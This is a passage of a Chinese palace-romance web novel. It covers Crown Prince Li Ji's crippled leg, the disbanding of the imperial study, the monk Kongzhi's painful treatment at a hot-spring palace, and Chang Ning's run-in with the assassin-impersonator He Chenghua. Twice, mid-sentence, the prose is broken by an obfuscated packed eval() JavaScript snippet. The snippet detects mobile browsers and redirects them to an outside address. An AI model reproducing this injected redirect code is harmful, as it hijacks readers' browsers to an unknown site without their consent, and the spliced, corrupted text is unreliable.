不过是些儿时病中的荒诞妄想，是真是假连他自己都辨不清，怎地竟又梦到了？ 晨曦透过门窗照射进殿，李稷眉心紧皱。他卯时不到便起身习武温墨，连遇刺患了腿疾，也依旧卯时起身，不曾误过一天。 正欲开口，刘总管便哆嗦着领着一群小太监进殿，“殿下，殿下，非是奴才自作主张，乃是娘娘挂念您，见您用了药便有些嗜睡，要奴才们不许唤您。” 李稷眉头一松，“罢了。母后呢？” 听得殿内的动静，皇后便在一行人的簇拥下众星捧月地来了，脸上满是心疼，挥退了殿内宫人，“我儿受苦了。” 此伤初时确有噬心之痛，然而几日过去，李稷已能忍耐，至少面上仍是从容不迫的，谈笑风生与以往无异。 他很快察觉到皇后的闪烁其词，“母后，可有要事？” “稷儿，”皇后目中涌上水光，“母后问过太医院，你的腿……怕是无望了。身体有疾，如何做得储君？不若退避贤路，助秩儿一臂之力，也好过老二得逞，叫你们兄弟二人东躲西藏地好。” 李稷道：“母后，何人为您进言？” “莫非是舅父？” “往后孤不会再准许舅父入宫。母后请回。” “你、你……”皇后颤抖，“此皆本宫所思所想。你果真如你舅父所言……” 那余音如潮水，一点点地涨上来，压得李稷呼吸沉重，猝然睁开双眸。 夜色深沉，床帐依旧是熟悉的模样。常宁拿着帕子在他眼角按了按，嘟囔道：“天都凉了，怎么还满头大汗？还好我没和你在一起睡。” “殿下，殿下！”常宁的脸在李稷眼前放大，几乎占据李稷全部视野，“为什么不说话？难道你这是睁着眼睛睡觉？有这绝学吗？好像还真有，我听术术先生授课时也会这样，明明一直睁着眼，却像睡了一觉，什么也没听到。” 不过是梦中的假象罢了。 李稷分明记得，常宁睡在了不远不近处的小方桌上。待常宁不舒服了，便会自己寻舒服的地儿睡，却不会来找他。 常宁夸耀道：“哎呀，亏得我机灵，我本来想去那边小榻上睡的，顺道看看殿下你睡得香不香，这可不，正好撞上你醒了。” 她一张嘴叭叭说个不停，没人回应也能乐呵呵地说下去。 李稷忍不了这聒噪，偏过头去。 常宁脑袋跟着移动，与李稷对视，“疼吗，殿下？” “本大盗渡你一点武功好了！”常宁吧唧亲了李稷一口，“不愧是殿下，脸亲起来都舒服，今晚上不用睡了，桀桀桀。” 李稷捧起常宁脸颊，对上那双水润的眼眸，“且于孤身旁安睡。” “不要，太热了。” 李稷哂笑：“方才还说天凉。” “这不一样嘛，”常宁往后退，和李稷拉开距离。 李稷忽问：“孤在你眼中，是什么？” 常宁：“大宝贝！” “庸俗。” “那你是宝贝中的宝贝！是宝宝！” “哄小孩的伎俩。” “可你不是小孩。”常宁总觉得忘了什么，但一时又想不起来，索性就在这里闲聊，逗得李稷渐渐展露笑颜。 马上就到卯时了，天还是黑的。不多时，刘总管带着一列侍或捧盥洗用具或捧服饰鱼贯而入，常宁自觉回避，到偏殿盥洗。 出门时，恰见一位饱学之士夹着书往书房去。 电光火石之间，常宁猛地记起，她昨晚只顾着做贼，压根就没碰功课！ 李稷在书房听人侍讲。刘总管准备关心关心常宁，没成想找了一圈都没找见人，急得额头冒汗，问了侍卫，便到御书房碰碰运气。 正是黑灯瞎火的时辰，学堂里还真有一灯如豆，灯下的常宁正握着笔杆下笔如风。 那字飘的，刘总管都看不懂。他放下食盒，笑问：“可要用膳？” 常宁欲哭无泪：“不吃不吃，我写不完了。” 刘总管看了会儿，低声道：“咱家过会儿再派人给您送膳。您若有空，不妨多看看殿下。” 常宁笔顿住了。她只知道李稷病得重，却不知究竟有多重，“很严重吗？” “是，”刘总管叹气，“广召天下名医，全都束手无策。昨日娘娘来看望殿下，殿下便起了到行宫散心的心思。” 更愁的还在后头，刘总管却不敢说。 常宁一整个奋笔疾书，沉浸在补功课的思绪里，连刘总管什么时候走都没注意到。 天未亮，严先生带着小童踏进御书房，慢腾腾地走着，仔细去看这里的一草一木。 小童低呼：“先生看，学堂里有人。” 严先生顺着小童指的方向望去。 学堂里一点灯火，窗纸上映着端坐的人影，手中那支毛笔也被放大在窗纸上。 他与小童进门，缓缓踱到桌案前，那学子依旧伏案全神贯注。 “叩叩。” 常宁抬头，按下挡住课业的冲动，乖乖向严先生问好，“先生今日怎么来这么早？可用膳了？” “用过了，”严先生嗓音放得很慢，回首打量了一圈学堂，笑道，“你虽比不得那几个凿壁偷光的学子，但也算得上刻苦勤勉，万望保持。” 常宁紧张，“是，先生。” 千万不要看她课业啊！ 拜托拜托，只差最后几句了！ 严先生脸上还带着笑，“今日结业，往后再见你们，就不知要到何年何月了。” 常宁怀疑自己听错了，“您不是说，还有许多未讲授完毕吗？” 严先生目中泛上怀念：“陛下昨夜下的令。太子殿下遇刺，二殿下离京，公主们也已经长大成人，御书房里需要伴读的，只有三殿下和诸位皇亲国戚。” “陛下已派我教授三殿下学问，今日便要遣散你们。皇亲国戚自请西席，其余学子另觅生计，无令不得入宫。往后再见你们，可真是难如登天。” 常宁霎时悲伤起来。 严先生在学堂中踱步，笑道：“今日的课业，不必再交了，我不会再批阅。我们师生缘分虽尽于此，但你们的余生却不止于此。甲乙丙丁，往后就要由你们自个权衡，适合你们的、问心无愧的，才是上上策，才能得甲，便是老夫也没法再为你们评判了。” “这么多年，没几个学生这般早就到学堂温习功课，你是一个。如此勤勉上进、乐善好施，老夫甚觉骄傲。” 自从严先生上次找常宁谈过话，常宁待课业便愈发上心，一篇文章写个许多份也是常有的事。 常宁知道严先生误会了，却不知如何解释。这最后一篇策论，常宁也没法再补上。 待其余学子陆陆续续来到，得知这一消息，亦是惊讶至极，有几个已经泪洒当场了。 宋念辞拍拍常宁肩膀，“你怎么打算？” 常宁：“回家呗，还能怎么着？” “别装傻，”宋念辞哼哼道，“我问你以后怎么办。通州有位大儒，带出来许多进士，我爹准备让我到通州求学，四五年后再下场，你要不要一起去？我帮你引荐。” “我不用，你自己去。少时我爹带我去拜会过这位大儒，以后有空我去找你玩。” “真不去？” 常宁点头。 “切，不去就不去，”宋念辞转问江晚照，“你听了这么久，以后要去哪儿？” 江晚照：“我离京回老家，这次就下场考科举了。” 宋念辞：“听我的，考下一届。” 江晚照：“谢谢你。但我还是得考这一届。” “两个 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英国公府，常宁在湖边逗鱼玩，书剑劝道：“哎呀少爷，你就去老爷那儿解释解释，不然小的这个月月钱就要被扣了。” 常宁瑟缩一下，强装镇定，“没事没事，我双倍补给你。” 少爷的命也是命啊！ 书剑竭力压抑上扬的嘴角，和常宁共享情报，“少爷，夫人还不知道这事。” 然而常宁不就山，山自来就她。 英国公的怒吼隔着老远飘来，“逆子，出来！” 待见了常宁耷眉耷眼的模样，更是气不打一处来，“我和你娘可没生过苦瓜！” 常宁噗嗤笑了：“爹，那你就是老苦瓜，你小孙孙是苦瓜籽，咱们一大家子都是苦瓜！吃都没人吃！” “行了，”英国公对常宁干了什么一清二楚，“殿下怎么样？” “就那样呗，”常宁耸肩，“太医们说，要去请皇觉寺空智大师，但空智大师早就云游去了，哪里还找得到人。” 英国公上下打量常宁，狐疑道：“你不急？” 常宁理所当然：“急什么？” 英国公哼笑：“没心没肺。” 常宁连忙道：“爹，你最有心肺，你帮我想想办法。” 英国公心情舒展许多，示意常宁跟上。他虽沉寂多年，但这些年依旧与旧友互通往来，从书架上取出一沓信，抽出一份给常宁。 “我和你娘当年救过一位僧人，正是空智大师。前些天空智才来过一封信，我为你引荐，你去寻他。” 常宁喜出望外，“还得是你和我娘啊！” 英国公得意扬眉，“有这好事，你还不去跑一趟？” 常宁笑道：“爹，这不是我努力的时候，该你和我娘努力了。我现在是失学少年！” 她根本就进不去皇宫。 如今无令不得入宫。常宁今日一出御书房，就有内侍领着她径直出宫了，连李稷最后一面都没见上。 英国公一口气险些没上来，“你爹是探花，探花！” “也没见您考上状元公啊，”常宁嗓音悠悠，“陛下下的令，御书房都散了。” 英国公：“……说话不许大喘气。也算是好事一桩，咱们拾掇拾掇就能走。” 常宁小声问：“爹，什么时候走？” “这会儿知道紧张了？等殿下好了再走。” 常宁试探道：那我这些天能和殿下待在一起？” “快去快去，”英国公挥挥手，满脸不耐烦，“有贼心没贼胆，也不知道像谁。” 常宁忍不住笑：“不急，我先去看我娘。” 眼见着常宁渐渐走远，英国公高声道：“办完事早点回家，爹娘有事交代你。” “知道了知道了。” 英国公微微叹气。 他与夫人昨夜便在发愁。 此时带常宁离京，断了与殿下的来往，不知落在殿下眼中，是否是落井下石？他二人既不愿旁人如此看待常宁，也不舍得常宁因此被记恨。 左右还有些时日，便再等上一等。 52. 问药 魏都外，浩荡的玄甲卫队将李稷护在中间。 如今是午时，正是扎寨造饭的时候，常宁也难得见到了郑御厨，双眼发亮地打了个招呼。 太傅和方俞周在宫城外送过李稷，就各自回府了。刘总管推着李稷，望望周围的绿影。 常宁好奇地打量了一眼。 李稷坐着的东西，像个椅子，但下面又有轮子。刘总管推着他在平地上走，也不费什么力气。 常宁很想推一推，事实上她也这样做了。刘总管放心地退后，望着常宁和李稷走远，，只不远不近地跟着。 这东西确实新奇，但常宁推一会儿就没兴趣了。他们只能在平地上走，但凡遇上些崎岖，就要费老大劲。何况即便走的官道，也不过是碎石混着沙土压得夯实，顶多比小道宽敞易行，实则还是坑洼硌人的。 刘总管这么一错眼的功夫，地上就只剩空荡荡的轮椅，那一高一低的两人都没了踪影，急得四处去寻。 常宁力气还是有的，抱着李稷到小山丘上，也还是健步如飞。 坐在丘上，能眺望到很远的地方。常宁能看到埋锅造饭的禁军，也能望见远处穿梭在田亩间的农人，以及气喘吁吁爬山的刘总管。 天空淡蓝，云采浓白，日光微盛，但在秋日里并不灼热，只是有些晒。 微风拂面，李稷神情总是淡淡的，好似对这些都不大感兴趣。 常宁禁不住喟叹：“殿下您要是个小花仙就好了，只有我拇指大小，我捧在手心里，能看一天又一天。” 花朵姹紫嫣红，柔软易折，染上朝露微雨时，更是美丽动人。 像是常宁说要将人捧在手心里时清脆中带有轻柔的语调。 李稷眼睫颤了颤，“怪力乱神。” 常宁道：“不怕。真有怪力乱神才好呢，那殿下一定能早早好起来。” 每见常宁，如见一池春水、一缕清风。常宁哄人的每一句话，总是轻易便能出口。李稷不知常宁是否对旁人也如此言语，亦不知常宁这话中究竟有几分真假。 但常宁水润的桃花眸看来时，对上那湛湛含笑的目光，李稷便再难分辨下去。 常宁托腮看他。 他长得可真好看，安安静静一言不发，却会认真听常宁说的每一句话。 她从前为什么会嫌弃他不太说话呢？ 空智大师在降月行宫等候他们。路程并不远，入夜不久，一行人就到行宫了。 降月行宫风景秀美，有许多温泉，对养伤大有裨益。 行宫里常年有宫人洒扫养护，但寻常没什么人过来，便有些冷清。李稷此次出行带了不少人，倒是让行宫里添了几分人气。 空智大师眉眼慈和，俯首立掌时，锃亮的脑袋映着烛光，便仿佛有一层温暖明亮的光晕，看得常宁心痒痒。 原来光头这么有气势。 沐发也方便。 她也想剃光头！ 空智慈和的目光望向常宁，寻到故人的痕迹，点头致意，复又对李稷仔细探查。 常宁眼巴巴看着，心跳得一下快过一下。空智稍有拧眉变脸的苗头，常宁紧跟着就一个激灵，紧张得要死。 “如何？”常宁嗓音发紧。 空智道了声佛号，“五成胜算。” 李稷始终面色如常，“大师只管医治，后果如何，孤一力承担。” 五成胜算，又是给贵人看病，能出手已是看在曾经的情分上。 空智拨拨佛珠，“天色已晚，明日再行诊治。只是贫僧这法子，痛得很，还望施主周知。” 李稷道：“无妨。” 空智告退，常宁去送他，顺便将爹娘的信转交给空智。 信封得很妥帖，一路行来也没留下褶皱，足可见送信之人悉心爱护。空智抽出信纸，一目十行地看过，弯唇颔首，“阿弥陀佛。贫僧昔年为两位施主所救，如今能帮到小施主，也算因果相报，斩断一分尘缘。” 常宁也笑眯眯学着他打佛偈，“可是大师，因果无终，您帮了我，却又与殿下牵连。入红尘里斩尘缘，果真有修成的那一日么？” 空智也不恼，眉眼依旧慈和，包容一笑，“贫僧亦不知。你父亲当年也是这般问贫僧，如今你也来问，贫僧恍然间，仿佛又回到了二十年前。佛的通透智慧，贫僧这些年也在琢磨，却始终悟不透，也修不出长生。但贫僧游遍高山大川，一路化缘行医，修得不过是个问心无愧罢了。” “受教。”常宁大受启发，真挚道谢。回程路上，常宁便又想起严先生殷殷叮嘱，道是问心无愧方为上上策，低低一笑。 同李稷待在一处，偶尔是极麻烦的。他出身皇家，自小便前呼后拥，侍候的宫人多得惊人。即便是到行宫暂做调养，降月行宫中心的这座宫殿里，尚衣、尚食、掌医、掌筵、典设郎……林林总总许多人，看得常宁头晕眼花。 常宁也是被捧着长大的。但姜夫人放纵常宁恣意行事，却不许人奢靡成性，也不许人放浪不羁以致蔑视科条性命，更着重教常宁一朝覆没东山再起的本事，时常随行侍奉的，只有书剑一个。 尽管李稷会挥退宫人，但总还是有许多人明里暗里散在四周。 常宁偶尔有些不痛快，多数时候还是能装看不见的，毕竟她找是李稷，又不是李稷身旁的人，目的达成了，高兴还来不及。 如今踏过殿门，就见一身雪白寝衣的李稷靠坐在椅子里，发尾犹带浅淡的潮湿水汽，墨发半披散着，眉如刀裁，冰雪塑就一般。 “殿下，你真好看。” 李稷颔首：“你也是。” “那当然，”常宁微昂下巴，眸光还是忍不住去瞥李稷。或许是病痛，李稷近来愈发缄默寡言，但少了些许锋锐。常宁就这么看着他，甚至觉出几分乖巧来，就知道自个又开始胡思乱想了。 常宁就喜欢乖乖巧巧的，如今看李稷越来越顺眼，什么喜欢的都想往他身上搭，哪怕不般配也能搭得津津有味。 但今夜与李稷闲谈时，李稷几度出神。 常宁倒了杯温热的茶水，塞进李稷手里，“你就捧着，很暖和的。殿下别怕，医者诊病，总是要往保守里说的。口中说是五成胜算，实则要比五成高一些，越早就医越好。何况殿下吉人天相，福气绵厚。” “再说了，就算我们真的很倒霉，那也不耽误我们开开心心啊。虽然那把轮椅不中用，但我依旧能带你跋山涉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15720555|167231||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 水。” “孤非是忧心此事，”李稷眉头舒展。常宁安慰人的本事并不高超，但她这般怡然自得，却很能驱散阴霾。 李稷沉吟：“寄希望于他人的怜爱，也并不牢靠。” 常宁眸子睁大，“什么意思，你不信我？” 李稷微笑：“人心易变，孤只是提醒你。” 阴阳怪气？暗中敲打？ 常宁有些恼，一摊掌心，“那我用不着提醒，我可比谁都容易变。” 她随意地倚在椅靠上，借烛光打量自己衣袖上的纹饰，忽觉一道探究的目光，看得她脊背发凉。待常宁四顾看去时，只见垂手静立的宫人和低眸品茶的李稷。 姜夫人耳提面命教了常宁许多，唯独少言这一条，常宁如何也做不到。祸从口出的道理，常宁早就晓得了，可要常宁闭口不言，那真是有够要命。 常宁咳一声，“殿下，你刚刚是不是背地里骂我了？” 李稷摇头。他近日进膳以清淡为主，又总灌苦药汁子，本就锋锐的脸型，增了消瘦，更显苦情。 常宁暗忖，她也是嚣张，居然用苦情来形容一朝太子。但常宁总归有些动容，不愿意同病人计较太多，“我确实善变，也确实易变心，但我也是有原则的。我绝对不会脚踏两条船，您就放心好了。” 李稷垂下眼睫，“可是真的？” 常宁连连点头，“真的真的。” 少年人的情意如秋夜凉风，稍纵即逝。即便夜风阵阵而来，也终究不再是拂面而过的那一缕。 即便不抬头，李稷也能想见常宁的模样，定是双眸湛湛、灿若星子，盈满真挚。 真是天真呵！ 李稷缓声问：“你往后预备做些什么？” 常宁冥思苦想，“要不我学严先生，也去做夫子好了？” 李稷笑了：“就这点出息？” 常宁恼羞成怒：“桃李满天下的乐趣，你不懂。” 实则常宁也不大懂。但这么随口一提，常宁却又不可自抑地畅想起来，最后悲哀地发现，她可能连学生都招不到。 呜呼哀哉！ 李稷亦不知，这般白净的脸，几息之间神色百变，最终竟一副万分委屈又扼腕叹息的模样，看得他也跟着眉峰微耸，“怎么了？” 常宁义愤填膺：“庸师误人呐，殿下。” 李稷：“孤只听真言。” 常宁抿唇，“好吧，您可别生气。我喜欢和姑娘家相处，但我只知道富裕人家会给女孩子单独找西席，却没听过有哪家学堂招女孩子的。” 李稷有些气闷，“你这么个堂堂正正的男儿郎，若是奔着喜欢姑娘家去，连上门做西席都没人敢收。” 常宁愈发悲伤，本想迎风落泪烘托氛围，没成想竟落不下来，只得轻咳一声，“哎呀，以后再说。若我能活到八十岁，那还有六十多年等着我呢，总有顺心如意的那天。” 眼看时辰不早，常宁便笑吟吟告退了。 李稷目送常宁走远，收回目光。 常宁既没有开疆拓土的志趣，也没有安定天下的野心。 连志向都这般短小，为何心窍却不能也小些，小到只装得下一人？ 53. 夜 绿影渐渐消了，山中天气也寒凉起来，但降月行宫依旧留有一丝暖意。 这些天来，空智为李稷施针、药浴，助他恢复，过程虽十分痛苦，效果却肉眼可见地好。 凡是空智诊治，李稷一律不许常宁在场。常宁本人好面子，便很乐意给李稷留余地，不去窥探他那痛苦万分的模样。 “书剑，我们去钓鱼。” 书剑早就准备好了，从马厩里牵出马来，“少爷，今日去哪儿？” 常宁方才用过早膳，看望过李稷，见李稷面色带了些红润，心情便好上不少，“还去昨天那地方，鱼多。” 她初来时，只带了书剑一个人。爹娘不放心，又拨了平时就和常宁要好的丫鬟来，权当常宁是来游玩。 常宁在这边，同游玩也没什么两样了。李稷那边一经诊治就要许久，常宁每天只有用膳时才能见到他。京城里，孟学洲若是休沐，也会到行宫来。 今日天气不大好，云层压得又低又湿，常宁不敢在外多待，把写给姐姐的信送到信局里，就带一行人打马往回赶。 及至一处田庄，雨势已渐大了。常宁这行人里，不止有自己人，还有李稷派人的侍卫。零零总总许多人，与主人家商议过，便暂且于此避雨。 电闪雷鸣，衬得白昼亦如黑夜，看不清远处的人影。 主人家心善，世代居于此，留过不少人躲避风雨雷雪，也资助过许多穷苦书生入京赶考。但如常宁这行人般贵气十足的，却并不多见。 他好客，取出珍藏许久的茶叶，在廊前檐下摆了红泥小炉，一面烹茶，一面与常宁闲谈。 这位小客性情可爱，人又灵巧。主人家细看之下，竟觉其面容隐隐有几分熟悉，微微笑道：“不知英国公是小友何许人也？” “正是家父，”主人家的茶烹得甚是清香，一品便知乃是功力深厚之人用了上好的茶叶烹调而出。山间清寒，冷雨密密，捧一盏热茶下肚，更是美妙。常宁道谢，“让您破费了。” 主人家一直静坐着，见常宁爱他烹出的茶，亦是愉悦，“这茶是你父亲赠予我的。兜兜转转，竟又与了你吃，算不得破费。你父母近来可安好？” 常宁道：“劳您挂怀。我父母近来极安好的，身体康健，亦无忧心之事，只是打量着要回老家去，哀叹往后不能与旧友常相往来，记挂着临走前要一一拜别。可惜我顽劣，不知世伯在此，否则必要来登门拜会的。” 主人家低笑，“他二人向来热忱，只是不必来看我了。过上个两三日，我就要往江南去，三载后方归。” 常宁歪头。 帘后一阵沉稳的脚步，接着贺成华挑帘出来，一臂吊在胸前，显然受了伤，“是我告诉他老人家的。小少爷，别来无恙。” 他语中带几分咬牙切齿。 常宁回以一笑，“我好得很。” 主人家见他二人相识，便寻言退避了，要他二人叙旧。 贺成华落座，“真是小瞧了你。怪道人都说你父子二人知交遍天下，连这穷乡僻壤，都能遇上旧友。” 常宁附和：“托我爹娘的福。倒是贺大人，您为二殿下留守京都，协同监理粮草辎重，怎就有闲情到这山上来。”她瞥一眼贺成华吊着的胳膊，不甚在意，颇为幸灾乐祸，“还伤得这般重。” 贺成华嗤一声，“总比你跟了个没落的强，焉知你往后不会丢了性命？你若弃暗投明，来奔二殿下，我便网开一面，为你引荐。” 常宁语调轻缓慵懒，“真是不巧。您也看到了，我全凭爹娘的庇佑，人不止笨，还懒得动脑袋。我也瞧不出谁人更厉害，反正哪个是正统，我便对着哪个喊声殿下。再要多，我这脑袋可转不过来。” 贺成华哪里会被常宁这番敷衍塞责之语蒙骗到，只是免不了又一通冷嘲热讽，“自寻死路。” 任他说得再漂亮或是再危险，常宁也听不进去。常宁只知道，他就是欺负李稷的人。 常宁嗯了一声，半倾出身抬手接雨。雨已停，只天还昏着。 今日见了贺成华，常宁总觉晦气，更忧心李稷，雨一停便忙不迭同主人家拜别。主人家百般推辞，不要常宁留下的财物，经常宁再三劝说，这才收下了。 贺成华是受了伤暂且于此处安歇，如今手下找了来，就不愿意再待下去。 门前只有一条山道，行至尽头才能分道扬镳。常宁再是不乐意，也只得和他同行一阵。 两人的侍卫仆役长长排了一条队伍。刚分别不远，常宁便听到铿锵的打斗声。回身看时，贺成华带来的数十位好手，已有十余人都被一黑衣人持剑击倒于地。 那人剑法实在精妙绝伦，即便在昏暗深沉的天幕之下，身处数十人围剿之中，也未曾有半刃刀剑暗器能近他身，反而有诸多保卫贺成华的侍卫接连倒地。 “千金一剑！你是千金一剑！” 只余下那人的剑芒不断闪烁，犹如闪雷，一道道劈开侍卫，离贺成华愈发近。 却又在极近时，劈晕了贺成华，提着滴血的长剑往常宁这边望来。 常宁的侍卫们水准要比贺成华高出一截，手已经按在了剑鞘上，颇有些剑拔弩张。 那人极有分寸，并不靠近常宁等人，只远远地丢下一句“告诉他，千金一剑从不刺杀朝廷命官”，便蹁跹离去。 常宁脸色难看。贺成华只是昏死，并无大碍，常宁哪里还有不明白的。 想是贺成华扮做千金一剑刺杀李稷，不止没有成功，还被千金一剑知晓了，上门寻仇来了！ 常宁恶狠狠踹贺成华一脚，“把他绑回去！” 这一脚踹在贺成华受了伤的胳膊上，痛得他蹙着眉醒来。常宁犹不解气，又是一脚上前，痛得他再次昏死过去。 道路太过泥泞，马儿易失蹄。 书剑劝道:“少爷，不如明日再走。这黑灯瞎火的，路上若是打个滑，恐怕要伤到人。” …… 降月行宫，连枝宫灯上的红烛渐渐矮了。风透过半掩的窗子吹进来，烛芯摇曳出残影。白壁上，李稷的身影也跟着风火闪烁。 他皱眉：“人还没回来？” 刘总管道：“是。奴才已经派了人去接应。夜黑风高，又下过雨水，今夜便是在外落榻，亦无不可。” 李稷颔首。 寻常这时辰，他当是在与常宁对弈，又或是与常宁同读一本书。常宁近来爱看志怪灵异话本，每每竖着耳朵聚精会神看时，一有风吹草动，便紧张不已。 常宁不在，李稷便扶墙艰难地站立、行走。空智嘱咐过，要李稷先从直立开始，慢慢再行走，循序渐进，不可急切。 只是每一起身，便犹如千蚁啃噬，既痛且痒，不过几息，就惹得李稷大汗淋漓、惊喘微微。 这般重复过数次，刘总管来劝，“殿下，急不得，大师说了，现今先练一刻钟便足矣。” “孤晓得，”李稷接过湿巾子拭汗，挥手道，“让人下去些。” 同常宁待久了，李稷也染上常宁的习性，身边不欲留许多人侍候。 他看政论，也看朝中情报，只是抬首低眸之际，目光总落于身侧。仿佛如此，便能见到那灵秀可亲的少年人，与之一同进书消茶，驱一驱殿中的清寒孤寂。 正思量时，外间忽有人声响动，刘总管和蔼的嗓音略带惊诧，伴着常宁含含糊糊的推拒声。 不多时，人就到了李稷跟前。 常宁衣裳上溅了泥点子，还有大块的污渍，脸颊也染得脏兮兮，手一直按着剑柄。待见了李稷，将李稷上下打量过，常宁这才丢了剑，打个哈欠，“睡了，明天见。” 李稷缓缓起身，“稍等。” 常宁有些惊喜，“神医啊！竟能站起来了？这般快！等我换身衣裳再来看你！”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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常宁心下喜悦，兴致勃勃去做提手。然而直待她完工许久，李稷那边还迟迟不见收势。 扎灯师傅眼尖，一瞧便知，悄声说与常宁听，“殿下的用料需得悉心处理，颇耗心神，做得也久些。” “哦。”常宁这下是真困了，眼眸也干涩，看了眼站在身侧的书剑，便歪到案上沉沉睡去。 李稷早已觉察，挥手让扎灯师傅和其余侍从都退出殿外，只留了刘总管、书剑和几个安静的宫人。 常宁不知睡了多久，被书剑摇醒时，殿中宫灯已经熄了，只余下一盏燿燿的灯笼，刺得常宁拿手挡在眼前，依旧难耐得紧。 那琉璃灯熠熠生辉，仿若一轮灼日，在暗室中光彩夺人。其上有一倚在桥畔桃花树下打盹的俊秀少年，似有风吹过，花瓣翩然落下大半。四面应四时，春困夏渔，秋日抱柿，冬日煮雪。 李稷问：“如何？” 常宁委屈极了，“既好，又不好。做得这般漂亮，连我都给绘上去了，我是高兴的。只是这灯太刺眼，我想要柔朦朦的，像蒙了一层雾一样。” 前番暗示多次，李稷都无异样，常宁只暗暗期待呢。 李稷：“这样更配你。” 常宁不和病人计较，违心夸了两句。殿内倒是一片和乐了，常宁走到廊下栏杆前透气，却忽地听到李稷的声音。 他不知何时扶墙走了出来，常宁冲他一笑。 李稷道：“你可知，孤要如何处置贺成华？” 常宁摇头：“我不知道。” “孤会杀了他。” 常宁眸光微沉。虽早有预测，她心下还是有些波澜。 李稷微微叹气，“孤说与你听，是要你擦亮眼睛，警醒些，莫要做了他人的弃刀。” 常宁并不放在心上：“那还是殿下更危险些。我并不锐利，谁愿意拿我做刀。” 54. 听墙角 贺成华行刺，圣上震怒，派羽林卫护送太子归京。 又国师进言，真龙与龙子相聚，龙气过盛，恐有祸事。 庆和帝便命国师选址，将几位皇子的皇子府建在京中。 常宁原以为回京后入不得宫，想来再见不到李稷，不曾想还有这一出好事，自是心情愉悦地回家去了。 方才到府上，姜夫人就拉着常宁仔细地看来看去，待见人喜气洋洋地笑，便松开手，“这次没瘦。” 常宁道：“我不过吃喝玩乐，哪里能瘦？这可比我整日到御书房去还滋润了。娘，你和爹有什么事交代我啊？” 姜夫人欲言又止，叹道：“罢了，没成想你回来这般早，过几日再说。” 常宁向来都是不急不缓的性子，闻言便道：“那娘你要记得，我总是忘。” 姜夫人点一点常宁额头，“你哪里是忘，分明是不放在心上。” 常宁歪头笑笑。 此后一连数日，常宁往来于家中和太子府，闲时便到严先生府上拜访，偶尔会得他指点一二。 这日，常宁刚到太子府，迎面撞上方俞周，侧身让他先行，依礼打了个招呼。 方俞周驻足笑问：“观你近日与殿下亲密不少，到底是年龄相仿，少年意气相投，比我们这些呆板无趣的讨人喜。” 常宁胡诌道：“大人可莫要这样说。我和殿下自幼相识，算来已经有十余载了。殿下病中烦闷，看书时总觉目乏，我来为殿下念书，是解一时之忧。大人时常与殿下入幕议事，乃是为殿下做远虑，我等比不得大人的。” 方俞周暗自忖度，果然是个玲珑心肠的，笑道，“殿下等你呢，去吧。” 常宁方才那话也不算蒙骗方俞周，她来时确实是念书的，只不过念得都是她不爱看的书。 空智大师诊治过后，就上外面与英国公相聚去了。前前后后近一月，眼看李稷的伤势愈发好转，安心将养着，不愁不能恢复。 天也渐冷，房内已经点上了小炭盆。常宁念了一会儿，忍不住戳李稷，“殿下，你能不能帮我个忙？” 李稷只作未闻，直待常宁将他摇得晕头转向，这才悠悠睁眼，“何事？” 常宁压低了声：“你还记得我姐夫吗？那个混蛋，你帮我威胁他，让他妥妥帖帖地同我姐姐和离，不许作妖误我姐姐。” 李稷果断道：“另请高明。” 常宁笑了：“殿下，您这心可不干净，活生生的人说杀便杀，没道理拿他没办法。想来您有的是法子神不知鬼不觉地办成这事，如今推诿，全是不愿意罢了。” 李稷自知心黑，听常宁这样说，却又难受起来，只抿唇不语。 常宁见了，拉着人衣袖补道：“我是夸你呢。恰恰要你这样果决的，才能帮我教训那蠢蛋啊。” 李稷无奈，“宁拆十座庙，不毁一桩婚。若和离，现下是痛快了，往后他夫妻二人破镜重圆，再怨怪上你，你又当如何自处？” “往后的事往后再说，”常宁凑近了些，“这些都是小事，能让我姐姐舒心片刻，便就值了。何况我姐姐绝不会如殿下说的这般。” 李稷沉吟片刻，“你再探探你姐姐。若果真如你所言，孤再行事也不迟。” 常宁喜笑颜开，连声道谢，端茶递水，捻起一块点心喂李稷。 李稷两指并剑抵在常宁手腕上，“为孤计，你又有什么话要讲？” 这倒是个好问题。 常宁悠哉悠哉地用了点心茶水，还是没琢磨个明白，忽地灵光一闪，环顾左右，见四下无外人，还是谨慎地挥停了诸人，扯着李稷到内室去。 “要是有人对您说万岁，您可千万别当真，哪里有活到万岁的人？这岂不是咒您呢。” 朝会上群臣山呼万岁，行幸所在，众人行礼也叫着万岁万岁万万岁。成日成年的被人这么叫着哄着，难保哪天一个把持不住想岔了，如陛下这般荒唐，岂不叫人痛心？ 李稷理理衣裳，慎重应道：“自然。 常宁忍不住笑，“你可真赏心悦目。” 虽未明言，然于李稷看来，二人已不啻于情浓相恋。从恋人口中得到称赞，哪怕是李稷平日并不在意的容貌，李稷也还是微带了笑意。 挨得近了，常宁又能闻到李稷衣上的沉香味，“殿下，你为什么总用沉香？” “不好么？”李稷轻抬剑眉，“孤少时难以入眠，便用了这香。” 自从与常宁来往过密后，李稷思绪也有了安定的征兆，沉香用量少了许多。只是常宁发问，李稷便思忖着要换去。 常宁点点头：“那倒是个好香。” 她以后不靠李稷那么近，闻不到就是，也不是什么大事。 哄好了人，将将到了晚膳时分，常宁便告辞回家。未出府时，还撞上了折回来取东西的方俞周，打过招呼就分别了。 今日府上颇为破费。英国公府谨奉祖训家规，可用贵奢而不能致靡乱，非节非年并不大过，只依照四时之气生活。 常宁看了人唱戏作舞，正是开心，“娘，怎么弄得像是我过生辰一样？” 姜夫人微瞪她一眼，压下心酸，亲自给她夹菜，“好好看，好好吃。多用些。” 